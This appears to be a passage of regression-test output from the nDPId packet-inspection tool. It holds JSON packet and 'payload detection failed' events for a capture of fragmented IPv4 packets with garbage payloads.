+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172427,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172457,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172701,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172713,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172753,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172794,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172820,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172847,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172925,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172952,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 